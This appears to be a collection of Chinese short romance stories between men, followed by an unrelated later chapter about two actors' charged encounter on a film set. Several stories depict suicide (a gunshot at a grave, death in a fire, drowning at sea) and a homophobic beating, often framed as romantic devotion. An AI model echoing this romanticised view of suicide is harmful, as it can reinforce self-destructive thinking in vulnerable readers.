床上的人闭上眼睛,不知道多久没有用过的大脑开始泛沿出思绪,一点一点,仿佛要将它吞噬。 呐,其实我们都是笨蛋。 “这个世界会让你很沮丧。而你只能无法反抗的承受一切。若尘,其实我很怕。” “暮里……敢伤害你的人,我都会杀了他。” “啊?笨蛋!太中二了吧你。即使你是警官也不可以随便杀人的!” “你不相信我吗。” “我相信。我一直都会相信你。只是……” 暮里?暮里!你在说什么?暮里,你说的太轻了,我听不见啊,拜托,大声一点好吗,我只能看到你的嘴唇在动,你在说什么。暮里…… 沈若尘: 20160327雨 我以为我已经麻木了的思绪竟然又开始遐想。 暮里…… 不要再用那么悲凉的眼神看我了……我以为……我以为我能救你。 “沈若尘?又在睡?” “每天来这你跟你说话的我真是神经病。” “呐,其实沈暮里是你杀死的吧。” “……闭嘴。” “……” “……你说话了?我说中了” 那个男孩笑了起来,明镜般的笑容……呵,真是刺眼啊。 我一点都不想再看到,这样的……笑容了。 “喂,你今天出狱了哟。明明也是个上校,唉,真是……官大一级压死人。” 小警官将他上校的制服还给他。而他只是换上了那件沉重的警服。转身就向墓园走去。 “说到底……大家都是笨蛋。再见啊,沈若尘。” 他来到墓园。 里面尊尊孤独的墓碑里,其中有一张温和安静的脸。如果不是他派他执行任务,他应该也是这样一幅安静的表情陪在他的身边吧。如果他没有死,大概会是一副哀伤的样子和他站在一起慰问墓园里战死的队友吧。但是……死的人却是他。 一袭黑衣的男人缓缓俯下身,吻了吻冰冷的墓碑:“我说过只要是伤害你的人,我都会杀了他。” 安静的墓园里传来一声枪响,像是祭奠着什么。天阴阴的似乎感染了这悲伤的气息。 “啊~结束了吗。所以啊,我就说了,只是派一个人执行任务而那个人恰恰死亡了这件事根本构不成你为他自杀的理由啊。” “所以果然,其实,是你在这次任务的时候抛弃了他吧。所以果然是你亲手举枪杀死了他吧。” “哇,看起来真的是一个很温柔的人呢。怪不得你会一直那么的念念不忘。” 一束鲜花放在墓碑前,鲜血沾染了上去,变得妖艳。 “他是很好啊,沈若尘。但是你不会回头看呢。” “我才不会像你这么傻呢。” …… 对吧? “就是他!就是你,你这个恶心的同性恋!竟然还想带着我儿子走!”雍容华贵的面貌变得扭曲,颤抖的手指着眼前有些狼狈倒在地上的男人。 来了两个大汉,手里拿着甩棍。好像气疯了似得女人,冲着那两个大汉喊:“给我打断他的腿!真是不要脸了。” 躺在地上的男人没办法说什么,只是默默地垂下眼睑。紧紧咬住自己的嘴唇。血腥味在他嘴中蔓延开来。 甩棍拖在地上,发出刺耳的声音,慢慢的向他靠近。然后猛地,敲击在他腿上。 要是被打死了,那就好玩了。男人自嘲一般的想着。头部猛地受到撞击,一瞬间的疼痛让他几乎要痛呼出声,然而并没有这个时间他就晕了过去。 “哼,这算是废了他一条腿吧。把他送医院,就说是路边看到的,他要是说是我们做的,就说他诈骗,给点钱就好了……”女人的声音渐渐远去。 真是恶心啊。 “安若!安若!安若你没事吧!对不起对不起……都是我,都怪我。”耳边传来隐隐的哭泣。 病床上的男人缓缓睁开眼,只是一脸麻木的看着那个哭成小孩子一般的高大男人。 “安若……” “我没有想带走你,你妈太强势,我可反抗不了。呵呵。”安若讥笑。似乎还嫌不够似的:“果然是一家人啊~林贺,要是我没遇见过你就好了……” “你什么意思!我妈是不对,你怎么能把错都推到我身上。安若你他妈!”男人似乎有点不冷静,激动的站起身,椅子蹭在地板上发出刺耳的金属声宛如……那天的甩棍摩擦在地上的声音…… 好烦,好烦!你们为什么都这么烦! “出去。” “安若!” “……” “……对不起,我不应该吼你。安若……” “……” “我先走了。” 安若并不打算待在医院,那里太安静,医院啊,就像一个吞噬性命的巨大牢笼,可是相反的是他又孕育着新生儿。真可笑,我们的人生开始在医院,结束也在医院,他这辈子大概最讨厌的就是医院。 回到自己的屋子,一如既往的陈设。他坐在轮椅上,看着窗外莺雀鸟鸣。真的很美好,但是我不喜欢,他这么想着,门铃响了。 “叮咚叮咚~”欢快的铃声一遍一遍的响起,不厌其烦,但是很烦。 安若只好转着轮椅走到门前。打开门,竟发现了那个罪魁祸首。那个雍容仪态的女人。 “……你想做什么。” “我不想做什么,我只是来告诉你,还真是感谢你对林贺的赌气,很好的让他接受了我对他婚事的安排,啧,虽然那并不是我最满意的一个儿媳妇,比起你这幅面孔她可真是差了太多。” “……” “安若,你没有错。你很好,你好到极致,但是你输了。输给了自己的性别。” “那还真是谢谢夫人的夸奖了。” 女人的手指吧嗒吧嗒有节奏的敲击着门。 “很抱歉,废了你的腿。那时候的我太生气。我也为我的言行道歉,抱歉说了诋毁同性恋的那些话。但是,这不是我在接受,而是我根本不能接受。我知道你懂,安若,你向来就是个懂道理的孩子……我不会容忍你的存在,很对不起,但是。再见。” 女人摔门而去,只剩下安若一个人孤零零的坐在轮椅旁。他的脑袋磕在门框上,无神的双眼似乎努力思考着什么。但是这些都没有什么,而是他闻到了一种味道,一种让他完全明白那个女人道歉的理由,原来你,连我的存在都要抹去吗…… 林贺马上就要赶到楼下的时候开始收到他的短信: "我的腿不行,我就不下去了。对不起跟你赌气,你妈说你要结婚了啊~祝贺你……吗?" “对不起。你可以不要忘了我吗。” “对不起……我竟然很自私的希望你能记住我。” “林贺……你会忘了我吗” “林贺我好想你。” “我爱你。对不起。” 看到最后,他的眼睛又被泪珠沾满,手上的动作却很利索,他把外□□湿,毫不犹豫地钻进了浓烟滚滚的楼里,火焰在身后燃烧断了一切的退路,宛如一头发怒的狮子,怒吼着要吞噬他的灵魂。 所以他努力的奔跑,即使被烟味呛得几乎马上就要倒下,他还是倔强的站起来。 如果我是神,我一定会说:这么个残破的灵魂,你还想回到他身边吗。 林贺会说什么呢?我不知道。 他冲进屋里抱住轮椅上坐着的人"你要是死了,我……?我都不知道我要去做什么了。" 他仰起头看他,两只双手紧紧握在一起。 “我的未来里,每项计划都有你” “如果我做不到让你参与我的生命,那就让我来闯进你生命的最后一刻拥抱你。” “等到他们找到我们,他们就会知道,我们,很相爱。” 五年前,他捡到了一只兔子。 不对,也不能说是他捡到的。 应该说,被迫捡了一只兔子。 当时的见面实在不太好,男人实在不喜欢那样的见面方式,不过…… Fiveyearsago←据说这是凑字数。 兔子惨兮兮的蹲在路角,看着从远处慢慢走来的男人。 男人好看的眼角旁边有颗痣,像是要哭出来一般,男人很好看,眉目精致,大概每个凡人都比不上他吧,但是太凶了。兔子默默地想。 兔子已经偷窥这个凡人很久了,不不不怎么能说偷窥呢,这是保护这是保护! 男人是个将军,但是却长得很书生,他喜欢违抗别人的命令,所以总是得罪很多人,要不是兔子一直“保护”他,他估计还是活得很好,⊙﹏⊙毕竟武将的力量可不是谁都能惹的。 男人总喜欢散着头发,为什么,大概是嫌弃那些服侍的下人挽发的时间太长,太麻烦吧。 男人喜欢在书房里泡茶喝,嗯,在书房里。所以只有他一个人在书房的时候,他才会露出皱着眉头的凶狠表情,变成一个“温润如玉的书生”。 兔子知道了很多男人的小习惯,兔子也不知道兔子到底陪在他身边多久了,总之男人从来没发现过他就是了。 况且若是被发现了 …… 大概晚上的晚餐就是他了。 但是这次的情况有点糟糕…… 似乎刚才看得太认真,被男人抓住了耳朵。兔子心下一惊,两只耳朵竖的高高的……于是男人更是方便的提着他的耳朵拎了起来。 “啧。兔子?今天的晚餐吗。” 看吧,我就说他会把我当成晚餐。 兔子下定决心,后脚蹬在男人的脸上,腾在空中就想跑,无奈他忘了自己还是只兔子。跌落在男人的身上。 而男人因为惊讶,没缓过神,跌倒了 …… 我现在该说兔子选的地方真是好。 男人于是。掉到了池子里。 男人沉着脸起来,拎着兔子直接冲向了膳房。 该死的兔子! 兔子挣扎得更厉害了,发现根本无法挣脱,耳朵被拎着……明明是那么脆弱的地方来着。嘤嘤嘤。 眼看着就看到了膳房的影子,那个恐怖的地方…… 欧不!伦家拒绝! 兔子砰地一声变回了本体。 “别!别吃我!……我……我可以!我可以实现你的愿望……我可以做很多事……别……别吃我。呜—松开—你的手,好疼。” 男人被他吓到,抓住耳朵的手紧了紧,疼得兔子哭出了声。 兔子……哭出了声…… 兔子一哭就止也止不住了,猛地吸鼻子,再哭。 完全不理会因为变回本体而坐在了男人身上让男人阴沉的脸变得更阴沉了。 男人挣扎起身,站了起来,兔子怕他又拎自己的耳朵,把脸蹭到他脖颈旁边,耷拉下耳朵。不管他站起来,用双腿环住男人的腰,整个人挂在了男人身上。一边抽着鼻涕胡言乱语。 “兔子肉一点都不好吃的……我可以实现你的愿望!真的可以,只要你别吃我。嘤。” 男人尝试的扒下他,然而只会让自己脖子间的窒息感变重,只好放弃了扒下他的动作。 “愿望?我没什么愿望。” 兔子朦胧的眨眨眼。 “总……总会有一两个愿望的吧……”兔子努努嘴。 “哦,那我的愿望就是……” 兔子动了动耳朵,却迟迟听不见他的下文。而男人则是大步走了起来。 “就是……今天的晚餐……我要吃兔子肉。” 兔子大惊失色,猛地竖起耳朵,蹦达了出去。“我真的可以实现你的愿望嘛,不要吃我……” “啧,麻烦。那你给我找个媳妇儿吧” “⊙﹏⊙” “不是说可以实现愿望么。瞧你这表情。” “你!你别小瞧我,我可是兔儿爷神,我可以的,不就是个媳妇儿嘛QAQ” Today. “喂,你说你是不是个小骗子。”男人把玩着兔子的耳朵,略促狭的问。 “说好的媳妇儿呢?嗯?” “倒是你,骗了我五年的胡萝卜钱啊~” “啧,说话。” 兔子吧嗒吧嗒的跑开,看着男人餍足的邪笑,突然有点想回到过去掐死自己。 嘤嘤嘤,要是知道找不到媳妇的代价是:每天醒来只能跪着走路,肚子饿了只能喝萝卜粥,兔子估计当时就应该变个法术让自己隐身跑掉qaqqqqqqqqq 男人实在不喜欢那样的见面方式,不过他现在很愉快。 (一)他 你说,人,怎么就这么喜欢作践自己呢。 他手里的动作一顿,甩开脑中忽然闪出的话。 望向沉睡在床上的男人。 男人似乎谁的并不安稳,烦躁和阴郁明显的体现在他紧皱的眉间。 他想伸出手去抚平那抹皱纹,手一顿,还是放下了。 男人不喜欢人碰……于是他便不碰。 他又热了热床头柜上放着的醒酒汤,在男人脖后垫了个枕头,一勺一勺的喂。 喂完汤,将男人的被子拉高,转身就要离开。 男人拽住他,眯着眼睛吻了吻他的眼睑,轻声说:“晚安。” 温柔的语气和动作,让他颤了颤睫毛,还是不说一句话,退出了房间。 终究还是把眼泪逼回去了。 客厅没有开灯。 他喜欢这个时候。 沙发是靠在落地窗前的,仿若一翻身便可以跌入城市的霓虹之中。但是他还不敢死。所以只是偶尔很喜欢,自己迷糊着醒来的时候,仿佛正在掉落一般的感觉。 夜晚很静,他靠在沙发上,看着与往日相同的景致,迷茫的抽着烟。 他喜欢半夜里一个人的时候。 一个人,他就可以不伪装友善的笑容,也不用去装那个面对任何人时虚假礼貌的微笑,就算他冷着瘫着一张脸,会用讥笑讽刺目光看着自己的……大概只有你吧,那个镜子中的你。 ―――就像一个精神分裂者。 他其实很希望别人来解开自己伪善的面具,但是每个人都被他欺骗的很开心,没有人会来注意他的伪装。 他喜欢别人将他贬得一文不值的时候,那种时候内心大概就会涌出一种类似于愉悦的心情,只是他依旧会伪装的委屈愤怒,他几乎掩饰不了自己迷茫和落寞的表情,他难以掩住自己弯起的嘴角,所以只好捂住嘴唇,假装隐忍的哭泣,然而他几乎想要放肆地笑出声。真好骗啊。 兴奋的身体颤抖起来的感觉在路人看来是在忍耐哭声吧。 你们真好骗啊。 他讨厌男人。一开始。 他只是觉得又是一个没有看出自己伪装的白痴。 所以当男人似乎以浪漫的名义在咖啡馆“偶遇”的时候,他只有不耐烦。 看看你们的样子,可笑极了。 不过,似乎并不那么简单。 …… 大家都喜欢演戏。 …… 一到男人后的一个星期,他就跟他上了床。 没什么感叹的,不过是两个……一样的人。 或许大家都被骗了。 所以人应该害怕的是自己的愚昧。 自己所谓的愚昧,被自己骗到的人真的很开心吧。 为什么呢?他又点燃一根烟,冷淡的漠视着自己腿间被窗外马上就要被霓虹灯掩盖住的月光照耀着的斑驳点迹。透露着一丝说不清的暧昧和疯狂。 果然还是心理问题。 其实他是一个矫揉做作的人。他喜欢欲拒还迎的姿态。 明明是在拒绝的,但是却克制不住的勾引别人。太放荡的人,总会受到惩罚。但是…… 算了吧,没用的。 早上醒来的时候,发现沙发上破了个洞,大概是抽着烟睡着了吧。 如果起火了……啊,真好啊。还好。 睡了多久?嗯,睡眠时间太短了,但是……控制不住的想要醒来。睡着的时候其实很痛苦。 …… 天还沉着,对于他来说的“今天”的白天是多么令人心痛的存在。,如果能醒不来的话……如果能的话。太可怕了,如果一直睡着的话,太可怕了……吧。 男人还没醒来,他打开门进去的时候,男人还是一如既往,明明是锋芒难以掩饰的人,就连沉睡着的时候,也掩盖不了他的霸道气质。只是如果醒来的话,他就会变得不像现在这个睡着的他了。脚踩在冰冷的地板上,告诉他现在还是冬天的消息。冬天的寒冷,总是令人心如死灰。 他爬到床边趴着,双手叠在下巴下,两只眼睛看着被毯,不知在想着些什么。幽黑的眸子没有亮光的反射,倒是显得无神。 他又撑起头看向男人。 怔怔的盯着男人的脖颈,伸出手指…… 男人动了一下,他顿了顿,收回了手。 “醒了吗?”他问。 “……我怎么在这里。” “你喝醉了,我带你回来的,怎么?今天有什么好事吗,昨天喝的那么醉。”他笑了笑,坐起身抱住自己的双腿歪着头看他。 男人顿了顿,想说什么。最后却只是把手放在他的头上揉了揉。说:“没什么事。你再睡一会吧,还早。我今天……再说吧。” 男人站起身,走到柜子旁边,熟练的打开柜子换衣服。正准备换,看了看自己身上暧昧的痕迹,还是去卫生间洗了个澡。 他就这么维持着自己的姿势,抱住自己倒在床上,似乎是想睡,却又不敢的样子。 “我这几天有点忙,你乖。我出门了。”男人洗完澡出来的时候,他还是那副样子,只是像是几乎要迷蒙的睡着了。男人换好衣服,在他耳边轻声说。 “唔,拜…拜…” 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普通酒吧唯一的不好之处,就是会有各种麻烦的,不懂人眼色的,自以为很有魅力的人,凑上来。 但这并不代表他会拒绝。 他从来不拒绝任何人。 …… 是的,所以,这便是惩罚。 (二)他的他 男人的头很疼,大概是宿醉吧。 早上醒来的时候,看见他温顺地窝在床边,大概是心理作用,没敢跟他说话。 男人很想温柔的亲吻他,对他说早安。 …… 但是男人做不到的。 男人甚至根本没与他交谈多久,就走了。 今天是个坏日子,男人要结婚了。 男人需要一个孩子。不过不仅仅只是一个孩子的问题。 太多了,所谓的原因。 但是男人不想去想,因为那都是推脱理由的借口。 即将成为男人妻子的女人是个温柔的江南女子,那是个,不单纯的单纯女子。拥有着姣好的面孔的她,也有着比常人多得多的耐心与耐性。 真恶心。 很里很热闹,不过,只是还在准备阶段的清晨。各项工作都还在准备,男人不由得发起呆。 多久了呢? 他在男人身边呆了多久,男人的心现在就有多痛。 还爱他吗? 爱吗。爱的。怎么可能不去爱他。 但是男人也很累。 他太公主病了吧。 是的,他总是希望别人能宠着自己。他总希望自己的要求被别人满足。 但是他其实很简单。 他的所谓的要求,大概是男人归家后一起吃晚饭的温馨。用猜拳决定谁来洗碗的小获胜心。以及,两人在客厅看电视时,他昏昏欲睡窝在男人怀里时的感觉。 但是,男人给不了。 这些简单到极点的东西,总是令人心生羡慕、向往,却总是碍于种种原因难以实现的,美好的事。 他是一只懒惰的猫。 高傲着却又不厌其烦地撒娇。 很累啊。 你要在不伤害他自尊心的情况下满足他的小要求。 可是,男人本就是个浪漫主义者,根本不喜欢去强迫别人做什么,但是他却喜欢别人逼着他做些什么,做些什么,什么也好,只要不是他自己本身想去做的东西,什么都好,那都是他的消遣……罢了。从小到大良好的家教让男人难以说出一点粗鲁的话,为什么会变成现在这样一个人呢。 因为他喜欢。 神经病! 就这样吧,不挺好的。 不好吗●__● 世俗…… 多少次你说要跟他在一起,打破世俗的眼光。 终究还是违背了你曾经许下的诺言。 男人不喜欢一个人的时候,那太安静了。但是他却很喜欢。男人半夜里起来的时候,总会看到他在客厅的沙发上,或是阳台上。一个人,啪嗒啪嗒的抽着烟。 男人不喜欢那个时候的他。 仿佛外面的喧闹,外面的世界,总是与他无关。 他在现实的现实里放肆的讥笑。却总是用一副温顺的面孔面对所谓的他的虚假世界。 在夜晚里,他总是用一副冷漠嘲讽的面容对待外物,然后第二天一早,他还是那个温柔明媚的他。 男人不懂他,真的不懂。 男人最近总是在做同一个梦,那是一个悲伤的令他痛苦的呼吸不上来的梦,他总是可以哭着醒来,醒来时嗓子干渴的就像是……或者说就是在梦中大声嘶吼着叫些什么。 …… “为什么你不听呢。你听不见吗。” …… 他不记得梦的内容。 男人直觉是关于他的梦,于是便一再叮嘱他呆在家里,不要出门…… 或许这也是男人不想让他看到自己要结婚这个消息的借口。 男人总觉得他要消失了一般。 因为他已经不会笑了,不是不会笑,只是不会那种普通人的笑了。如果是以前,他不想笑的时候,只会伪装一个完美的微笑。只是现在的他,仿若连伪装的力气都消失了。 当然不止这些,那是一种难以言喻的,平常生活中形成的小习惯。 男人问过他:“你到底要怎么样才算在一起了。” 大概是生气时的气话,语气很重。 他当时沉默了很久…很久…… 他说:“如果有一天我们都死了,我的骨灰还能和你的放在一起,大概那才叫在一起吧。” “……” 沉默像海中央巨大的海浪把人冲下水底,你挣扎着想要浮上水面,换来的只是更冷人绝望的窒息。如果万幸之中知道游泳,那么大概会更绝望吧。在冰冷的海水中,默默的抱紧自己的身躯,感受着渐渐流逝的温度。慢慢的失去意识,渐渐的往海底沉去,或许还能看见记忆中最美好的那个时光。只是,早已万劫不复。 还是会死,干脆就果断的咬破嘴唇,放出鲜血让鲨鱼一口吞掉岂不更好?不过,还是很疼的啊。 这个问题就跟,“我们一百年后都会死,那么现在活着有什么意思?”是一样的,但是,大概没有这种人,说死就去死吧。我们都会死,但是我们都渴望着活着,挣扎着,不放过一丝丝的希望。 虽然痛苦,但是,那是希望啊。 婚礼还是按部就班地进行了,男人陪着新娘四处打转。脸上谦谦公子的笑容赢得了很多人的赞赏。 不过是…不过是演戏罢了。 不难。 男人心情弊闷,对于来客的敬酒只微微一笑,仰头而尽,新娘时不时地提醒他少喝一点,却没什么动作。小鸟依人一般的站在一旁。 要是他呢。 啊,他啊,他大概直接“不小心”打破酒杯,一脸无辜地说自己不是故意的……吧。 男人有点晕,平时就里不错的他竟也是有点儿醉了,就是不知道是想醉,还是真醉了。 男人一直彬彬有礼的对待每一个人,直到对上人群之外的那双一如既往幽黑的眸子。男人差点失控的将酒杯摔到地上。 是的,男人在害怕。 但是同时男人也看到了,他早上还不存在于脖间的吻痕,触目惊心的刺痛男人的双眼。 他就静静的站着,所有的热闹欢乐都与他无关,男人看向他时,他无神的眼睛才勉强露出点滴希冀,很快又破碎在冰凉的黑珠子里,破碎掉的碎片像是一点点的扎进了男人的内心深处。 无病**。 他低下眼睛,想了想,对着男人笑了,笑得放肆,转身从桌上拿了杯红酒,举在胸前,抬高,静默的用唇语说:“祝你。” 男人想要过去,但是他们连个之间的距离太长,他们之间隔了太多东西,男人根本迈不开步伐。 他的眼睛看向地面,微微歪着的头竟让人觉得他有一丝的迷茫。然后举高这杯酒,从头顶淋了下来,类似于贪恋一般的舔了舔嘴唇,像只吃到了鱼的猫咪。不过妖冶的他只存于一秒钟就消失在冷漠的面孔之中。将酒杯随意扔在地上,头也不回地走了。 【这是你的婚礼,而我是个宾客。】 破碎的酒杯,就像在提醒着男人什么事。 太可怕了。 男人想追上去的,追上去,就不会埋下心中的隐患,但是,害怕。 男人做不到。 做不到,于是悻悻的想,过几天,再过几天吧。 但是,他们都有错吧。两个人都背叛了对方,用身体。两个人都没背叛对方,用感情。 多好笑。 那些嚷嚷着只娶守身如玉的人的人,那些不停说着只嫁从不滥交的人的人。 其实只是懦弱的一种。 你们到底在想些什么呢。 男人没能再见到他。 他似乎过于喜欢大海,所以连尸骨都不留与男人。 那个曾说着想要把骨灰放在一起的男人,却连骨灰都没有了。 多年时间,他终究选择了死亡。 他曾说过的懦弱的选择。 是谁把他逼成这样的。 是我。 如果,但是没有如果。 所以只能接受现实。 那么就给自己一个美好的幻想,幻想他只是厌倦了尘世,厌倦了男人,于是躲到一边,躲到谁都看不到的自我世界里去。 你怎么…这么自私呢。 我们善于沉默,但是忘却了坦白。 人人都说说出来就没事了,说出来就好了。 骗谁呢,如果真的没事的话,何必还去苦恼。 但是你,你为什么总是沉默。那沉默宛如架在脖子上的小刀,即使知道不会伤害你,却还是让人忍不住屏住呼吸。 终究是死了。 明明最可怕的事就是相信了欺骗自己的谎言。 END 年轻人,你的思想很危险。 32. 第 42 章 空调外机在影视基地闷热的午后嗡嗡作响,像只不知疲倦的困兽。沈淮之穿着戏里那身染了“血污”的月白长衫,坐在折叠椅上,闭目养神。助理小陈小心翼翼地递来保温杯,里面是温润的胖大海,刚润过喉,场务的声音就穿透了片场特有的嘈杂: “沈老师,周老师,准备了!第37场,第3镜,Action!” 沈淮之睁开眼,眼底属于“沈老师”的那份温润平和瞬间敛去,换上一种属于剧中人的、带着世家子弟最后骄傲的疲惫与决绝。他起身,整理了一下沾着尘土的衣襟,走向被布置成破败庙宇的内景。 目光掠过,精准地捕捉到那个站在阴影里的人。 周惊时。 他饰演的反派“罗刹”正靠在斑驳的廊柱上,漫不经心地用一块黑色绒布擦拭着一把造型古朴、刃口却闪着幽冷寒光的短刀。他穿着一身玄色劲装,勾勒出精悍利落的线条,头发随意束在脑后,几缕碎发垂落额前,遮住些许眉眼。即使只是随意站着,也像一把未出鞘的凶刃,周身散发着一种生人勿近的、极具压迫感的野性。 沈淮之的脚步几不可察地顿了一下。 周惊时似乎察觉到了他的视线,抬起了头。 四目相对的刹那,沈淮之的心跳猛地漏了一拍。那是一双怎样的眼睛?深不见底,像淬了寒冰的深渊,没有丝毫温度,只有纯粹的、带着审视意味的冰冷和……一丝玩味的探究。仿佛他不是在看一个即将对戏的演员,而是在打量一件有趣的猎物。 导演的声音在监视器后响起:“两位老师,情绪给到位啊!罗刹,你是猎人,他是你势在必得的猎物,要那种掌控一切的压迫感!沈老师,你已是强弩之末,但骨子里的骄傲还在,不能完全认命!” “Action!” 场记板清脆地拍下。 庙宇内光线昏沉,只有几缕天光从破败的屋顶缝隙漏下,映照出空气中飞舞的尘埃。沈淮之饰演的世家公子靠在冰冷的石壁上,微微喘息,眼神警惕而绝望。 脚步声响起,不疾不徐,却带着一种踏碎寂静的沉重感。周惊时饰演的罗刹从阴影里踱步而出,唇角噙着一抹似笑非笑的弧度,眼神却冰冷如刀。 “跑啊,”他的声音低沉,带着一种金属摩擦般的质感,在空旷的庙宇里激起轻微的回响,“怎么不跑了?沈公子。” “沈公子”三个字从他口中吐出,带着浓浓的讽刺。 沈淮之挺直了脊背,即使狼狈,世家风骨犹在,他冷冷道:“要杀便杀,何必废话!” “杀你?”罗刹轻笑一声,那笑声里没有丝毫暖意,反而更添几分寒意。他一步步逼近,靴底踩在碎石上发出轻微的咯吱声,每一步都像踩在沈淮之绷紧的神经上。“太便宜你了。” 话音未落,他身影骤然加速,快如鬼魅!沈淮之只觉得眼前一花,一股冰冷锐利的气息已然迫近喉间! 冰冷的金属触感,清晰无比地贴在了沈淮之颈侧最脆弱的皮肤上。 是那把短刀。 刀锋的寒气瞬间穿透薄薄的戏服,直抵骨髓。沈淮之的身体本能地僵住,全身的血液仿佛在这一刻凝固。他能清晰地感受到刀刃的锋利,只要对方手腕轻轻一压…… 而更让他心悸的,是持刀人的眼神。 周惊时近在咫尺,那双深渊般的眼睛牢牢锁着他,里面翻涌着赤裸裸的、毫不掩饰的狠戾与疯狂。那不是表演出来的狠,那是一种从骨子里透出来的、带着毁灭欲的侵略性。沈淮之甚至能看清他眼底自己放大的、带着惊惧的倒影。 空气仿佛被抽干了。沈淮之的呼吸停滞,大脑一片空白,只剩下喉间那一点致命的冰凉,和那双要将人吞噬的眼睛。他仿佛真的成了罗刹刀下待宰的羔羊,被绝对的暴力和恶意所笼罩。一种源自生命本能的恐惧,如同冰冷的潮水,瞬间淹没了他所有的理智和演技。 时间被无限拉长。 “卡——!”导演的声音如同天籁般响起,打破了这令人窒息的凝固。 几乎在“卡”字落下的同一瞬间,那致命的冰冷倏然撤离。 沈淮之像被抽掉了所有力气,身体不受控制地晃了一下,才勉强站稳。他下意识地抬手,指尖冰凉地抚上刚才被刀刃抵住的地方,那里仿佛还残留着金属的寒意。 就在这时,一声极轻的、带着点戏谑意味的笑声在他耳边响起。 沈淮之猛地抬眼。 周惊时不知何时已经收起了那把短刀,正随意地把玩着。他微微低着头,刚才戏里那骇人的狠戾消失得无影无踪,嘴角勾起一个玩味的弧度,眼神像打量一件新奇玩具般落在沈淮之脸上。 他的目光扫过沈淮之抚着脖子的手,然后,在沈淮之猝不及防的注视下,他突然伸出手。 微带薄茧的温热指腹,极其自然地、甚至带着点狎昵意味地,蹭过沈淮之颈侧那片刚刚被刀刃威胁过的、此刻还残留着冰凉触感的皮肤。 动作快得让人来不及反应。 沈淮之只觉得被蹭过的地方像是被火星燎了一下,瞬间激起一片细小的战栗。 然后,他听到了周惊时的声音,压得低低的,带着一丝毫不掩饰的笑意,像羽毛搔刮着耳膜: “沈老师……”他顿了顿,尾音微微上扬,带着一种恶劣的调侃,“你抖什么?” 轰—— 一股热意猛地冲上沈淮之的耳根和脸颊。羞耻、恼怒,还有一丝连他自己都不愿深究的、被彻底看穿狼狈的恐慌,瞬间攫住了他。他几乎是立刻收回了抚在颈间的手,指尖蜷缩起来,藏在宽大的戏服袖子里,指节用力到泛白。 他维持了多年的、滴水不漏的“沈老师”的体面,在这一刻,被对方一个动作、一句话,轻而易举地撕开了一道口子。 他张了张嘴,想说什么来挽回,喉咙却像是被什么堵住,发不出半点声音。只能眼睁睁看着周惊时嘴角那抹恶劣的笑意加深,然后对方像是完成了什么有趣的游戏,慵懒地耸耸肩,转身,将那把危险的短刀随意插回腰后的刀鞘,留下一个干脆利落、带着野性气息的背影。 片场恢复了嘈杂,灯光师在调整光线,道具组在挪动布景。工作人员来来往往,没人注意到这个小小的角落刚刚发生了什么。 只有沈淮之还僵在原地,颈侧那片皮肤火烧火燎,周惊时指腹的温热和刀刃的冰冷交织在一起,形成一种诡异而磨人的触感。那句带着笑意的“你抖什么?”反复在耳边回响,像魔咒。 他深吸一口气,试图压下胸腔里翻涌的混乱情绪,强迫自己恢复那副温润清冷的模样。可指尖的冰凉和耳根未褪的热意,都在无声地宣告着—— 有什么东西,失控了。 而那个始作俑者,那个叫周惊时的男人,像一头刚刚亮出了獠牙的恶犬,已经懒洋洋地踱回了他的阴影里,仿佛刚才那场惊心动魄的“狩猎”,不过是他一场心血来潮的消遣。 他深吸一口气,空气里混杂着灰尘、劣质血浆和汗水的气味,刺得他鼻腔发涩。不行,必须立刻离开这里。他强迫自己迈开脚步,走向角落那个临时隔出来的小化妆间,步伐竭力维持着惯有的从容,但只有他自己知道,膝盖以下僵硬得像灌了铅。 化妆间的门帘落下,隔绝了外面大半的嘈杂。狭小的空间里只有一面镜子,一盏亮得晃眼的灯泡。沈淮之没有立刻坐下,而是站在镜子前,目光死死锁住镜中自己的脖颈。 昏黄的灯光下,皮肤光洁,除了他自己过度关注带来的心理错觉,并没有留下任何肉眼可见的痕迹。没有刀印,也没有指痕。周惊时的动作快得像一阵风,精准又狡猾。 可就是这“没有痕迹”,反而让那触感更加清晰、更加磨人。他仿佛还能感觉到那带着薄茧的指腹粗糙的纹理,以及那一下轻蹭时蕴含的、毫不掩饰的狎昵和戏弄。 “沈老师?”助理小陈的声音小心翼翼地在帘子外响起,“您还好吗?要补妆吗?下一场……” “没事。”沈淮之打断他,声音有些发紧,他清了清嗓子,试图找回平时的温润,“进来吧,补一下妆。” 他需要一点粉底,哪怕只是心理安慰,盖住那片仿佛在灼烧的皮肤。 小陈端着化妆箱进来,眼神飞快地在沈淮之脸上扫了一圈,又谨慎地移开。沈淮之闭着眼坐在折叠椅上,任由小陈用海绵蛋沾了粉底液轻轻按压在脸上。冰凉的触感让他紧绷的神经稍稍舒缓,可当小陈的手指无意间靠近他颈侧时,他的身体还是几不可察地绷紧了一瞬。 小陈的动作顿住了,大气不敢出。 “继续。”沈淮之的声音平静无波,仿佛刚才那瞬间的僵硬只是错觉。 粉底覆盖上来,带着微凉的粉质感,试图抚平一切。沈淮之看着镜子里逐渐恢复完美的“沈老师”——眉眼温和,气度沉静,带着一丝恰到好处的疏离感。这是他在公众面前经营了多年的形象,是他最坚固的盔甲。 然而,就在他几乎要说服自己刚才的一切只是过度入戏的错觉时,化妆间的门帘猛地被人掀开,带起一股微热的风。 阴影笼罩下来。 沈淮之在镜子里看到了来人。 周惊时。 他换下了那身玄色劲装,只穿着简单的黑色工字背心和迷彩长裤,露出线条流畅有力的臂膀和紧实的肩颈线条。他额前微湿的碎发随意地搭着,脸上带着一种运动后的慵懒和松散,手里拎着两瓶冰镇矿泉水。那副漫不经心的样子,和刚才戏里那个眼神淬毒的罗刹判若两人,却又奇异地糅合着同一种野性难驯的气息。 他像是没看见小陈一样,径直走到沈淮之旁边的空椅子坐下,椅子腿在地上拖出刺耳的摩擦声。他拧开一瓶水,仰头灌了一大口,喉结滚动,几滴冰凉的水珠顺着他线条分明的下颌滑落,没入背心领口。 沈淮之的身体瞬间再次绷紧。狭小的空间因为他的存在而陡然变得逼仄,空气似乎都稀薄了几分。他能清晰地闻到对方身上传来的、混合着汗水、尘土和一种独特须后水的强烈气息,极具侵略性地占据了他的感官。 小陈拿着粉扑的手僵在半空,进退维谷。 “沈老师皮肤真好,”周惊时忽然开口,声音带着运动后的微哑,目光透过镜子,肆无忌惮地落在沈淮之刚补好粉底的颈侧,嘴角又勾起那种熟悉的、玩味的弧度,“粉都盖不住的紧张,红晕透出来了。” 沈淮之握着扶手的手指猛地收紧,指甲几乎陷进人造革里。镜子里,他耳根后那一片皮肤,果然因为对方毫不掩饰的注视和话语,不受控制地泛起一层薄红,在白得有些过分的粉底下透出来,显得格外刺眼。 